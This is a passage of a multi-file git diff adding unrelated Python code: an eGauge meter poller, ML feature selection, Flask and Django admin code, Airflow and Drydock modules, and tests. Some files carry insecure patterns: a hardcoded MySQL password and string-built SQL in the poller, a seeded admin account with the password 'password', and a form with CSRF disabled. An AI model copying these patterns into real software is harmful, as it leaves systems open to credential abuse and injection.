+ self._status_account_dir = os.path.join( + self._status_dir, self._account).encode('utf-8') + self._per_account = per_account + + def handle(self, rows, swift_client): + raise NotImplementedError + + def get_last_processed_row(self, db_id): + raise NotImplementedError + + def save_last_processed_row(self, row_id, db_id): + raise NotImplementedError + + def get_last_verified_row(self, db_id): + raise NotImplementedError + + def save_last_verified_row(self, row_id, db_id): + raise NotImplementedError + + def handle_container_info(self, broker_info, metadata): + # Optional to implement + pass diff --git a/pool/shard009/Python/0083697_poller_allEgauge.py b/pool/shard009/Python/0083697_poller_allEgauge.py new file mode 100644 index 0000000000000000000000000000000000000000..d73fc16084178a6d23f0a2fdbc73a5870497b84b --- /dev/null +++ b/pool/shard009/Python/0083697_poller_allEgauge.py @@ -0,0 +1,134 @@ +import urllib2, code +import xml.etree.cElementTree as ET +import MySQLdb +import datetime, threading, time + +# Reads eGauge XML data from an input URL and outputs pertinent data +def readEgauge(uxmlurl,indices,includeTimeStamp): + # Open the URL and parse the xml data + try: + response = urllib2.urlopen(uxmlurl,timeout = 15) + # except urllib2.URLError, e: + except: + nValues = len(indices) + return [99999999] * nValues + html = response.read() + root = ET.fromstring(html) + + # extract the relevant variables and return them + outputList = [] + + if includeTimeStamp: +# outputList.append('timestamp') + outputList.append(int(root[0].text)) + for i in indices: + outputList.append(float(root[i][2].text)) +# outputList.append(root[i].attrib['title']) + return outputList + +def timerLoop(db,cursor,commandString,url,indices): + global next_call + + data = [] + # Output the timestamp with the first reading + includeTimeStamp = True + data = data + readEgauge(url[0],indices[0],includeTimeStamp) + # Loop through the remaining measurements + includeTimeStamp = False + for i in range(1,6): + data = data + readEgauge(url[i],indices[i],includeTimeStamp) + insertString = commandString % tuple(data) +# print(insertString) + print(datetime.datetime.now()) + try: + cursor.execute(insertString) + db.commit() + except: + db.rollback() + next_call = next_call + 1 + threading.Timer(next_call - time.time(), timerLoop,(db,cursor,commandString,url,indices)).start() + +#-------------------------------------- +# Begin Script +#-------------------------------------- + +# Connect to the MySQL Database +db = MySQLdb.connect(host="localhost", port=3306, + user="crawler", passwd="disaggreg8tor", + db="energydata"); +cursor = db.cursor() + +# URLs for the eGauge XML files +url_egauge = [ + 'http://152.3.3.246/cgi-bin/egauge?noteam', + 'http://152.3.3.236/cgi-bin/egauge?noteam', + 'http://152.3.3.210/cgi-bin/egauge?noteam', + 'http://152.3.3.214/cgi-bin/egauge?noteam', + 'http://152.3.3.235/cgi-bin/egauge?noteam', + 'http://152.3.3.213/cgi-bin/egauge?noteam', +] + +# Indices to the registers in the eGauge (as indexed in the xml file) +# that correspond to the labels below (which are the MySQL column names) +indices = [ [10,11,8,9], + [11,12,10,7,8,9], + [9,10,11,13,14,12], + [8,9,10,11,12], + [11,12,15,16,14,13], + [7,8,9,10,11,12]] + +labels = ( + "timestamp", + "b7139_01_r_01_phase1", + "b7139_01_r_02_phase2", + "b7139_01_r_03_solar1", + "b7139_01_r_04_solar2", + "b7139_02_r_01_panelal2", + "b7139_02_r_02_panelal1", + "b7139_02_r_03_panelbl2", + "b7139_02_r_04_panelbl1", + "b7139_02_r_05_panelul2", + "b7139_02_r_06_panelul1", + "b7139_03_r_01_refrig", + "b7139_03_r_02_micro", + "b7139_03_r_03_dish", + "b7139_03_r_04_oven", + "b7139_03_r_06_cooktop", + "b7139_03_r_08_kitchen1", + "b7139_04_r_01_kitchen2", + "b7139_04_r_02_kitchen3", + "b7139_04_r_03_washer", + "b7139_04_r_04_dryer", + "b7139_04_r_06_hotbox", + "b7139_05_r_01_ahu1", + "b7139_05_r_03_ahu2", + "b7139_05_r_05_cu1", + "b7139_05_r_07_cu2", + "b7139_05_r_09_airrecunit", + "b7139_05_r_10_rwp", + "b7139_06_r_01_irrigation", + "b7139_06_r_02_erv", + "b7139_06_r_03_h10p", + "b7139_06_r_04_ef1", + "b7139_06_r_05_ef2", + "b7139_06_r_06_ef3" +) + +labelString = 'INSERT INTO smart_home (' + '%s, ' * 33 + '%s' + ') VALUES (' +commandString = labelString % labels + '%s, ' * 33 +commandString = commandString + '%s);' + +#url = 'http://152.3.3.246/cgi-bin/egauge?noteam' + +#code.interact(local=locals()) + +print("Starting poller.py...\n") +next_call = time.time() +try: + timerLoop(db,cursor,commandString,url_egauge,indices) +except: + db.close + raise +else: + db.close +# raise diff --git a/pool/shard009/Python/0083698_utils_feature_selection.py b/pool/shard009/Python/0083698_utils_feature_selection.py new file mode 100644 index 0000000000000000000000000000000000000000..ad73e0bfdb835855cccd0390b59d73b1309efafb --- /dev/null +++ b/pool/shard009/Python/0083698_utils_feature_selection.py @@ -0,0 +1,120 @@ +from sklearn.base import BaseEstimator, TransformerMixin +from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor +from sklearn.linear_model import RandomizedLasso, RandomizedLogisticRegression + + +import scipy +import itertools +from sklearn.feature_selection import GenericUnivariateSelect, RFECV, SelectFromModel + + +def get_feature_selection_model_from_name(type_of_estimator, model_name): + model_map = { + 'classifier': { + 'SelectFromModel': SelectFromModel(RandomForestClassifier(n_jobs=-1, max_depth=10, n_estimators=15), threshold='20*mean'), + 'RFECV': RFECV(estimator=RandomForestClassifier(n_jobs=-1), step=0.1), + 'GenericUnivariateSelect': GenericUnivariateSelect(), + 'RandomizedSparse': RandomizedLogisticRegression(), + 'KeepAll': 'KeepAll' + }, + 'regressor': { + 'SelectFromModel': SelectFromModel(RandomForestRegressor(n_jobs=-1, max_depth=10, n_estimators=15), threshold='0.7*mean'), + 'RFECV': RFECV(estimator=RandomForestRegressor(n_jobs=-1), step=0.1), + 'GenericUnivariateSelect': GenericUnivariateSelect(), + 'RandomizedSparse': RandomizedLasso(), + 'KeepAll': 'KeepAll' + } + } + + return model_map[type_of_estimator][model_name] + + +class FeatureSelectionTransformer(BaseEstimator, TransformerMixin): + + + def __init__(self, type_of_estimator, column_descriptions, feature_selection_model='SelectFromModel'): + + self.column_descriptions = column_descriptions + self.type_of_estimator = type_of_estimator + self.feature_selection_model = feature_selection_model + + + def get(self, prop_name, default=None): + try: + return getattr(self, prop_name) + except AttributeError: + return default + + + def fit(self, X, y=None): + + + self.selector = get_feature_selection_model_from_name(self.type_of_estimator, self.feature_selection_model) + + if self.selector == 'KeepAll': + if scipy.sparse.issparse(X): + num_cols = X.shape[0] + else: + num_cols = len(X[0]) + + self.support_mask = [True for col_idx in range(num_cols) ] + else: + if self.feature_selection_model == 'SelectFromModel': + num_cols = X.shape[1] + num_rows = X.shape[0] + if self.type_of_estimator == 'regressor': + self.estimator = RandomForestRegressor(n_jobs=-1, max_depth=10, n_estimators=15) + else: + self.estimator = RandomForestClassifier(n_jobs=-1, max_depth=10, n_estimators=15) + + self.estimator.fit(X, y) + + feature_importances = self.estimator.feature_importances_ + + # Two ways of doing feature selection + + # 1. Any feature with a feature importance of at least 1/100th of our max feature + max_feature_importance = max(feature_importances) + threshold_by_relative_importance = 0.01 * max_feature_importance + + # 2. 1/4 the number of rows (so 100 rows means 25 columns) + sorted_importances = sorted(feature_importances, reverse=True) + max_cols = int(num_rows * 0.25) + try: + threshold_by_max_cols = sorted_importances[max_cols] + except IndexError: + threshold_by_max_cols = sorted_importances[-1] + + threshold = max(threshold_by_relative_importance, threshold_by_max_cols) + self.support_mask = [True if x > threshold else False for x in feature_importances] + + else: + self.selector.fit(X, y) + self.support_mask = self.selector.get_support() + + # Get a mask of which indices it is we want to keep + self.index_mask = [idx for idx, val in enumerate(self.support_mask) if val == True] + return self + + + def transform(self, X, y=None): + + if self.selector == 'KeepAll': + return X + + if scipy.sparse.issparse(X): + if X.getformat() == 'csr': + # convert to a csc (column) matrix, rather than a csr (row) matrix + X = X.tocsc() + + # Slice that column matrix to only get the relevant columns that we already calculated in fit: + X = X[:, self.index_mask] + + # convert back to a csr matrix + return X.tocsr() + + # If this is a dense matrix: + else: + pruned_X = [list(itertools.compress(row, self.support_mask)) for row in X] + return pruned_X + diff --git a/pool/shard009/Python/0083701_forms.py b/pool/shard009/Python/0083701_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..78f1644ddef75388e967562dc1d870409a932d39 --- /dev/null +++ b/pool/shard009/Python/0083701_forms.py @@ -0,0 +1,37 @@ +import logging + +import flask + +import form_models +from repositories import posts + +def new_post(): + form = form_models.NewPostForm() + if form.validate_on_submit(): + logging.info('Valid form') + new_post = posts.create_from_form(form) + logging.info(new_post) + return flask.redirect('/') + +def edit_post(post_id): + form = form_models.NewPostForm() + if form.validate_on_submit(): + logging.info('Valid form') + new_post = posts.update_from_form(post_id, form) + logging.info(new_post) + return flask.redirect('/') + + +def delete_post(post_id): + form = form_models.DeletePostForm() + if form.validate_on_submit(): + post_id = form.data.get('post_id') + post = posts.delete_post(post_id) + return flask.redirect('/') + +def search(): + form = form_models.SearchForm(csrf_enabled=False) + if form.validate_on_submit(): + logging.info('Valid search form') + posts.search(form.data.get('search_term')) + return flask.redirect('/') \ No newline at end of file diff --git a/pool/shard009/Python/0083709_init__.py b/pool/shard009/Python/0083709_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..5f2b45bf8f65564437ce033cd433ac4d393f8ffc --- /dev/null +++ b/pool/shard009/Python/0083709_init__.py @@ -0,0 +1,33 @@ +import transaction + +from sqlalchemy.exc import IntegrityError + +from sqlalchemy.ext.declarative import declarative_base + +from sqlalchemy.orm import scoped_session +from sqlalchemy.orm import sessionmaker + +from zope.sqlalchemy import ZopeTransactionExtension + +from datetime import datetime + +DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension())) +Base = declarative_base() + +def initialize_sql(engine): + DBSession.configure(bind=engine) + Base.metadata.bind = engine + Base.metadata.create_all(engine) + try: + populate() + except IntegrityError: + DBSession.rollback() + +def populate(): + from haven.models.account import Account + account = Account(name=u'admin', password=u'password', + email=u'noreply@example.com', activated=True, + is_admin = True, verify_code=u'') + DBSession.add(account) + DBSession.flush() + transaction.commit() diff --git a/pool/shard009/Python/0083710_orm_event_handlers.py b/pool/shard009/Python/0083710_orm_event_handlers.py new file mode 100644 index 0000000000000000000000000000000000000000..1a5da96812b410e9860e96f8baee7fe3e9d3b239 --- /dev/null +++ b/pool/shard009/Python/0083710_orm_event_handlers.py @@ -0,0 +1,88 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +import logging +import os +import time +import traceback + +from sqlalchemy import event, exc + +from airflow.configuration import conf + +log = logging.getLogger(__name__) + + +def setup_event_handlers(engine): + """Setups event handlers.""" + + @event.listens_for(engine, "connect") + def connect(dbapi_connection, connection_record): + connection_record.info['pid'] = os.getpid() + + if engine.dialect.name == "sqlite": + + @event.listens_for(engine, "connect") + def set_sqlite_pragma(dbapi_connection, connection_record): + cursor = dbapi_connection.cursor() + cursor.execute("PRAGMA foreign_keys=ON") + cursor.close() + + # this ensures sanity in mysql when storing datetimes (not required for postgres) + if engine.dialect.name == "mysql": + + @event.listens_for(engine, "connect") + def set_mysql_timezone(dbapi_connection, connection_record): + cursor = dbapi_connection.cursor() + cursor.execute("SET time_zone = '+00:00'") + cursor.close() + + @event.listens_for(engine, "checkout") + def checkout(dbapi_connection, connection_record, connection_proxy): + pid = os.getpid() + if connection_record.info['pid'] != pid: + connection_record.connection = connection_proxy.connection = None + raise exc.DisconnectionError( + "Connection record belongs to pid {}, " + "attempting to check out in pid {}".format(connection_record.info['pid'], pid) + ) + + if conf.getboolean('debug', 'sqlalchemy_stats', fallback=False): + + @event.listens_for(engine, "before_cursor_execute") + def before_cursor_execute(conn, cursor, statement, parameters, context, executemany): + conn.info.setdefault('query_start_time', []).append(time.perf_counter()) + + @event.listens_for(engine, "after_cursor_execute") + def after_cursor_execute(conn, cursor, statement, parameters, context, executemany): + total = time.perf_counter() - conn.info['query_start_time'].pop() + file_name = [ + f"'{f.name}':{f.filename}:{f.lineno}" + for f in traceback.extract_stack() + if 'sqlalchemy' not in f.filename + ][-1] + stack = [f for f in traceback.extract_stack() if 'sqlalchemy' not in f.filename] + stack_info = ">".join([f"{f.filename.rpartition('/')[-1]}:{f.name}" for f in stack][-3:]) + conn.info.setdefault('query_start_time', []).append(time.monotonic()) + log.info( + "@SQLALCHEMY %s |$ %s |$ %s |$ %s ", + total, + file_name, + stack_info, + statement.replace("\n", " "), + ) diff --git a/pool/shard009/Python/0083711_boot_storage_rational.py b/pool/shard009/Python/0083711_boot_storage_rational.py new file mode 100644 index 0000000000000000000000000000000000000000..982d3511a5227eba03fcb99540e1bb5810ef1b18 --- /dev/null +++ b/pool/shard009/Python/0083711_boot_storage_rational.py @@ -0,0 +1,95 @@ +# Copyright 2018 AT&T Intellectual Property. All other rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from drydock_provisioner.orchestrator.validations.validators import Validators + +import drydock_provisioner.error as errors +from drydock_provisioner.orchestrator.util import SimpleBytes + + +class BootStorageRational(Validators): + def __init__(self): + super().__init__('Rational Boot Storage', 'DD1001') + + def run_validation(self, site_design, orchestrator=None): + """ + Ensures that root volume is defined and is at least 20GB and that boot volume is at least 1 GB + """ + BYTES_IN_GB = SimpleBytes.calculate_bytes('1GB') + + baremetal_node_list = site_design.baremetal_nodes or [] + + for baremetal_node in baremetal_node_list: + storage_devices_list = baremetal_node.storage_devices or [] + + root_set = False + + for storage_device in storage_devices_list: + partitions_list = storage_device.partitions or [] + + for host_partition in partitions_list: + if host_partition.name == 'root': + size = host_partition.size + try: + cal_size = SimpleBytes.calculate_bytes(size) + root_set = True + # check if size < 20GB + if cal_size < 20 * BYTES_IN_GB: + msg = ( + 'Root volume must be > 20GB on BaremetalNode ' + '%s' % baremetal_node.name) + self.report_error( + msg, [baremetal_node.doc_ref], + "Configure a larger root volume") + except errors.InvalidSizeFormat as e: + msg = ( + 'Root volume has an invalid size format on BaremetalNode' + '%s.' % baremetal_node.name) + self.report_error(msg, [ + baremetal_node.doc_ref + ], "Use a valid root volume storage specification." + ) + + # check make sure root has been defined and boot volume > 1GB + if root_set and host_partition.name == 'boot': + size = host_partition.size + + try: + cal_size = SimpleBytes.calculate_bytes(size) + # check if size < 1GB + if cal_size < BYTES_IN_GB: + msg = ( + 'Boot volume must be > 1GB on BaremetalNode ' + '%s' % baremetal_node.name) + self.report_error( + msg, [baremetal_node.doc_ref], + "Configure a larger boot volume.") + except errors.InvalidSizeFormat as e: + msg = ( + 'Boot volume has an invalid size format on BaremetalNode ' + '%s.' % baremetal_node.name) + self.report_error(msg, [ + baremetal_node.doc_ref + ], "Use a valid boot volume storage specification." + ) + # This must be set + if not root_set: + msg = ( + 'Root volume has to be set and must be > 20GB on BaremetalNode ' + '%s' % baremetal_node.name) + self.report_error(msg, [ + baremetal_node.doc_ref + ], "All nodes require a defined root volume at least 20GB in size." + ) + + return diff --git a/pool/shard009/Python/0083715_printer_test.py b/pool/shard009/Python/0083715_printer_test.py new file mode 100644 index 0000000000000000000000000000000000000000..ae21520009f5eb266edde55b822de7a778aeaeaf --- /dev/null +++ b/pool/shard009/Python/0083715_printer_test.py @@ -0,0 +1,85 @@ +"""Unit test for Treadmill server trace printer module. +""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +import unittest +import io + +import mock + +from treadmill.trace.server import events +from treadmill.trace.server import printer + + +class ServerTracePrinterTest(unittest.TestCase): + """Test printing trace events. + """ + + def setUp(self): + self.trace_printer = printer.ServerTracePrinter() + + @mock.patch('sys.stdout', new_callable=io.StringIO) + def test_server_state(self, stdout_mock): + """Test printing ServerState event. + """ + event = events.ServerStateTraceEvent( + timestamp=1, + source='tests', + servername='test.xx.com', + state='up', + payload={'foo': 'bar'} + ) + + self.trace_printer.process(event) + + self.assertEqual( + stdout_mock.getvalue(), + 'Thu, 01 Jan 1970 00:00:01+0000 - ' + 'test.xx.com up\n' + ) + + @mock.patch('sys.stdout', new_callable=io.StringIO) + def test_server_blackout(self, stdout_mock): + """Test printing ServerBlackout event. + """ + event = events.ServerBlackoutTraceEvent( + timestamp=2, + source='tests', + servername='test.xx.com', + payload={'foo': 'bar'} + ) + + self.trace_printer.process(event) + + self.assertEqual( + stdout_mock.getvalue(), + 'Thu, 01 Jan 1970 00:00:02+0000 - ' + 'test.xx.com blackout\n' + ) + + @mock.patch('sys.stdout', new_callable=io.StringIO) + def test_server_blackout_cleared(self, stdout_mock): + """Test printing ServerBlackoutCleared event. + """ + event = events.ServerBlackoutClearedTraceEvent( + timestamp=3, + source='tests', + servername='test.xx.com', + payload={'foo': 'bar'} + ) + + self.trace_printer.process(event) + + self.assertEqual( + stdout_mock.getvalue(), + 'Thu, 01 Jan 1970 00:00:03+0000 - ' + 'test.xx.com cleared\n' + ) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083718_Example_2_Brittle_Failure_Theory.py b/pool/shard009/Python/0083718_Example_2_Brittle_Failure_Theory.py new file mode 100644 index 0000000000000000000000000000000000000000..bb5a1885505caaeffac81723f283f2ad54f04760 --- /dev/null +++ b/pool/shard009/Python/0083718_Example_2_Brittle_Failure_Theory.py @@ -0,0 +1,121 @@ +""" + +Rafael Radkowski +Iowa State University +Jan 2017 +rafael@iastate.edu + +All rights reserved +""" + +# Import the failure theory envelopes + +from ME325Common.StressCalc import * + +## Values, note, the values should be positive +## And all values in kpsi + +#-- Material parameters +Sut = 50.0 # kpsi +Suc = 110.0 # kpsi + +#-- factor of safety +n = 1.2 + +#-- Load is unknowns + +#-- Dimensions +#dimensions of the first beam +r1 = 1.0 #in +l1 = 8.0 #in + +# dimensions of the second beam +r2 = 0.6 #in +l2 = 20.0 #in + + + + + + +# 1. Compute the max. normal stress +# since the load is unknown, we describe the load as function of F. +def sigma_x(F, l, d): + return (F*l*32)/(math.pi * d**3) + +# 2. Compute the max. shear stress +def tau_xz(T,d): + return (T * 16)/(math.pi * d**3) + +print sigma_x(1,l1,r1*2.0) +print tau_xz(l2,r1*2.0) + +# 3. Compute the principle stresses as a factor of F +[s1, s2, a] = PrincipleStress([sigma_x(1,l1,r1*2.0)], [tau_xz(l2,r1*2.0)] ) # x F +print "Principle stresses for s1:", s1, "* F [kpsi] and \ts2: ", s2 ,"* F [kpsi]" + + +# 4. Compute the missing forces +F1 = 0.0 +F2 = 0.0 +if s1 > 0.0: + F1 = Sut * 1000.0 / (n * s1) +else: + F1 = -Suc * 1000.0 / (n * s1) + + +if s2 > 0.0: + F2 = Sut * 1000.0 / (n * s2) +else: + F2 = -Suc * 1000.0 / (n * s2) + +# we proceed with the smaller one since the material would fail at the lower falue first. +F = min(F1, F2) +print "The force is F = ", F, " lbf" + +#----------------------------------------------------------------- +# For Modified-Mohr and MNST Theory + + +s1_f = s1 * F / 1000.0 +s3_f = s2 * F / 1000.0 +print "The final stress is sigma_1 = ", s1_f, "kpsi, and sigma_3 =", s3_f, 'kpsi' + + + +#----------------------------------------------------------------- +# For Coulumb-Mohr Theory + +n_cm = brittle_coulumb_fos(s1_f, s3_f, Sut, Suc) +print "Coulumb-Mohr failure theory factor of safety: ", n_cm + +print "---------\nCorrecting for Coulumb Mohr theory" +F_cm = 1.0/( n *( (s1/Sut) - (s2/Suc) ) ) * 1000.0 # from psi to kpsi +print "Max. force accoriding to Coulumb-Mohr theory: F=", F_cm, " lbf" + +s1_cm = s1 * F_cm / 1000.0 +s3_cm = s2 * F_cm / 1000.0 +print "The final stresses using CM theory sigma_1 = ", s1_cm, "kpsi, and sigma_3 =", s3_cm, 'kpsi' + +####### +# PLOT + +fig = plt.figure(figsize=(8, 8)) + +# Plot the stress point +pl_s, = plt.plot([s1_f], [s3_f], 'ro') +pl_s2, = plt.plot([s1_cm], [s3_cm], 'bo') + +# Plot the failure envelopes +plotModMohrFailureTheory(Sut, Suc) +plotCoulumbMohrFailureTheory(Sut, Suc) +plotMaxNormalFailureTheory(Sut, Suc) + + +# Axis +plt.axis([-120, 120, -120, 120]) + +plt.ylabel('sigma_3 [kpsi]') +plt.xlabel('sigma_1 [kpsi]') +plt.grid() +plt.show() \ No newline at end of file diff --git a/pool/shard009/Python/0083724_test_server_profiling.py b/pool/shard009/Python/0083724_test_server_profiling.py new file mode 100644 index 0000000000000000000000000000000000000000..7d157a3e41895c64e2781a503bea7ec3d94f7368 --- /dev/null +++ b/pool/shard009/Python/0083724_test_server_profiling.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +import mxnet as mx +import json + +key = '99' +shape = (1200, 1200) # bigger than MXNET_KVSTORE_BIGARRAY_BOUND +kv = mx.kv.create('dist_sync') + +def init_kv(): + # init kv dns keys + kv.init(key, mx.nd.ones(shape)) + kv.set_optimizer(mx.optimizer.create('sgd')) + return kv, kv.rank, kv.num_workers + +def test_sync_push_pull(): + kv, my_rank, nworker = init_kv() + def check_default_keys(kv, my_rank): + nrepeat = 10 + # checks pull after push in loop, because behavior during + # consecutive pushes doesn't offer any guarantees + for i in range(nrepeat): + kv.push(key, mx.nd.ones(shape, dtype='float32') * (my_rank+1)) + val = mx.nd.zeros(shape, dtype='float32') + kv.pull(key, out=val) + mx.nd.waitall() + check_default_keys(kv, my_rank) + +if __name__ == "__main__": + server_filename_suffix = 'test_profile_server.json' + worker_filename_suffix = 'test_profile_worker.json' + mx.profiler.set_config(filename=server_filename_suffix, profile_all=True, profile_process='server') + mx.profiler.set_config(filename='rank' + str(kv.rank) + '_' + worker_filename_suffix, profile_all=True, profile_process='worker') + mx.profiler.set_state(state='run', profile_process='server') + mx.profiler.set_state(state='run', profile_process='worker') + test_sync_push_pull() + mx.profiler.set_state(state='stop', profile_process='server') + mx.profiler.set_state(state='stop', profile_process='worker') + + import glob, os + + # will only work when launcher mode is local, as used for integration test + if kv.rank == 0: + for rank in range(kv.num_workers): + for suffix in [worker_filename_suffix, server_filename_suffix]: + # throws value error if file is not proper json + filename = 'rank' + str(rank) + '_' + suffix + print(glob.glob('*'), os.getcwd()) + with open(filename, 'r') as f: + j = json.load(f) + + + diff --git a/pool/shard009/Python/0083731_admin.py b/pool/shard009/Python/0083731_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..f2c40662665690a3bce8cc07883304f8d5a88d54 --- /dev/null +++ b/pool/shard009/Python/0083731_admin.py @@ -0,0 +1,190 @@ +# -*- coding: utf-8 -*- +""" +Admin site configuration for third party authentication +""" +from config_models.admin import KeyedConfigurationModelAdmin +from django import forms +from django.contrib import admin +from django.core.urlresolvers import reverse + +from third_party_auth.provider import Registry + +from .models import ( + _PSA_OAUTH2_BACKENDS, + _PSA_SAML_BACKENDS, + LTIProviderConfig, + OAuth2ProviderConfig, + ProviderApiPermissions, + SAMLConfiguration, + SAMLProviderConfig, + SAMLProviderData +) +from .tasks import fetch_saml_metadata +from openedx.core.djangolib.markup import HTML + + +class OAuth2ProviderConfigForm(forms.ModelForm): + """ Django Admin form class for OAuth2ProviderConfig """ + backend_name = forms.ChoiceField(choices=((name, name) for name in _PSA_OAUTH2_BACKENDS)) + + +class OAuth2ProviderConfigAdmin(KeyedConfigurationModelAdmin): + """ Django Admin class for OAuth2ProviderConfig """ + form = OAuth2ProviderConfigForm + + def get_list_display(self, request): + """ Don't show every single field in the admin change list """ + return ( + 'name', 'enabled', 'provider_slug', 'site', 'backend_name', 'secondary', 'skip_registration_form', + 'skip_email_verification', 'change_date', 'changed_by', 'edit_link', + ) + +admin.site.register(OAuth2ProviderConfig, OAuth2ProviderConfigAdmin) + + +class SAMLProviderConfigForm(forms.ModelForm): + """ Django Admin form class for SAMLProviderConfig """ + backend_name = forms.ChoiceField(choices=((name, name) for name in _PSA_SAML_BACKENDS)) + + +class SAMLProviderConfigAdmin(KeyedConfigurationModelAdmin): + """ Django Admin class for SAMLProviderConfig """ + form = SAMLProviderConfigForm + + def get_list_display(self, request): + """ Don't show every single field in the admin change list """ + return ( + 'name_with_update_link', 'enabled', 'site', 'entity_id', 'metadata_source', + 'has_data', 'mode', 'change_date', 'changed_by', + ) + + list_display_links = None + + def name_with_update_link(self, instance): + """ + Record name with link for the change view. + """ + if not instance.is_active: + return instance.name + + update_url = reverse('admin:{}_{}_add'.format(self.model._meta.app_label, self.model._meta.model_name)) + update_url += '?source={}'.format(instance.pk) + return HTML(u'{}').format(update_url, instance.name) + + name_with_update_link.allow_tags = True + name_with_update_link.short_description = u'Name' + + def has_data(self, inst): + """ Do we have cached metadata for this SAML provider? """ + if not inst.is_active: + return None # N/A + data = SAMLProviderData.current(inst.entity_id) + return bool(data and data.is_valid()) + has_data.short_description = u'Metadata Ready' + has_data.boolean = True + + def mode(self, inst): + """ Indicate if debug_mode is enabled or not""" + if inst.debug_mode: + return 'Debug' + return "Normal" + mode.allow_tags = True + + def save_model(self, request, obj, form, change): + """ + Post save: Queue an asynchronous metadata fetch to update SAMLProviderData. + We only want to do this for manual edits done using the admin interface. + + Note: This only works if the celery worker and the app worker are using the + same 'configuration' cache. + """ + super(SAMLProviderConfigAdmin, self).save_model(request, obj, form, change) + fetch_saml_metadata.apply_async((), countdown=2) + +admin.site.register(SAMLProviderConfig, SAMLProviderConfigAdmin) + + +class SAMLConfigurationAdmin(KeyedConfigurationModelAdmin): + """ Django Admin class for SAMLConfiguration """ + def get_list_display(self, request): + """ Shorten the public/private keys in the change view """ + return ( + 'site', 'change_date', 'changed_by', 'enabled', 'entity_id', + 'org_info_str', 'key_summary', 'edit_link', + ) + + def key_summary(self, inst): + """ Short summary of the key pairs configured """ + public_key = inst.get_setting('SP_PUBLIC_CERT') + private_key = inst.get_setting('SP_PRIVATE_KEY') + if not public_key or not private_key: + return u'Key pair incomplete/missing' + pub1, pub2 = public_key[0:10], public_key[-10:] + priv1, priv2 = private_key[0:10], private_key[-10:] + return u'Public: {}…{}
Private: {}…{}'.format(pub1, pub2, priv1, priv2) + key_summary.allow_tags = True + +admin.site.register(SAMLConfiguration, SAMLConfigurationAdmin) + + +class SAMLProviderDataAdmin(admin.ModelAdmin): + """ Django Admin class for SAMLProviderData (Read Only) """ + list_display = ('entity_id', 'is_valid', 'fetched_at', 'expires_at', 'sso_url') + readonly_fields = ('is_valid', ) + + def get_readonly_fields(self, request, obj=None): + if obj: # editing an existing object + return [field.name for field in self.model._meta.get_fields()] # pylint: disable=protected-access + return self.readonly_fields + + +admin.site.register(SAMLProviderData, SAMLProviderDataAdmin) + + +class LTIProviderConfigAdmin(KeyedConfigurationModelAdmin): + """ Django Admin class for LTIProviderConfig """ + + exclude = ( + 'icon_class', + 'icon_image', + 'secondary', + ) + + def get_list_display(self, request): + """ Don't show every single field in the admin change list """ + return ( + 'name', + 'enabled', + 'site', + 'lti_consumer_key', + 'lti_max_timestamp_age', + 'change_date', + 'changed_by', + 'edit_link', + ) + +admin.site.register(LTIProviderConfig, LTIProviderConfigAdmin) + + +class ApiPermissionsAdminForm(forms.ModelForm): + """ Django admin form for ApiPermissions model """ + class Meta(object): + model = ProviderApiPermissions + fields = ['client', 'provider_id'] + + provider_id = forms.ChoiceField(choices=[], required=True) + + def __init__(self, *args, **kwargs): + super(ApiPermissionsAdminForm, self).__init__(*args, **kwargs) + self.fields['provider_id'].choices = ( + (provider.provider_id, "{} ({})".format(provider.name, provider.provider_id)) + for provider in Registry.enabled() + ) + + +class ApiPermissionsAdmin(admin.ModelAdmin): + """ Django Admin class for ApiPermissions """ + list_display = ('client', 'provider_id') + form = ApiPermissionsAdminForm + +admin.site.register(ProviderApiPermissions, ApiPermissionsAdmin) diff --git a/pool/shard009/Python/0083733_waiters.py b/pool/shard009/Python/0083733_waiters.py new file mode 100644 index 0000000000000000000000000000000000000000..563a479c7a17484899dd36df410066a8e0477063 --- /dev/null +++ b/pool/shard009/Python/0083733_waiters.py @@ -0,0 +1,216 @@ +# -*- coding: utf-8 -*- + +# Copyright (C) 2015 Yahoo! Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +try: + from contextlib import ExitStack +except ImportError: + from contextlib2 import ExitStack + +import collections +import contextlib + +from concurrent import futures +from concurrent.futures import _base +import six + +import futurist +from futurist import _utils + +try: + from eventlet.green import threading as greenthreading +except ImportError: + greenthreading = None + + +#: Named tuple returned from ``wait_for*`` calls. +DoneAndNotDoneFutures 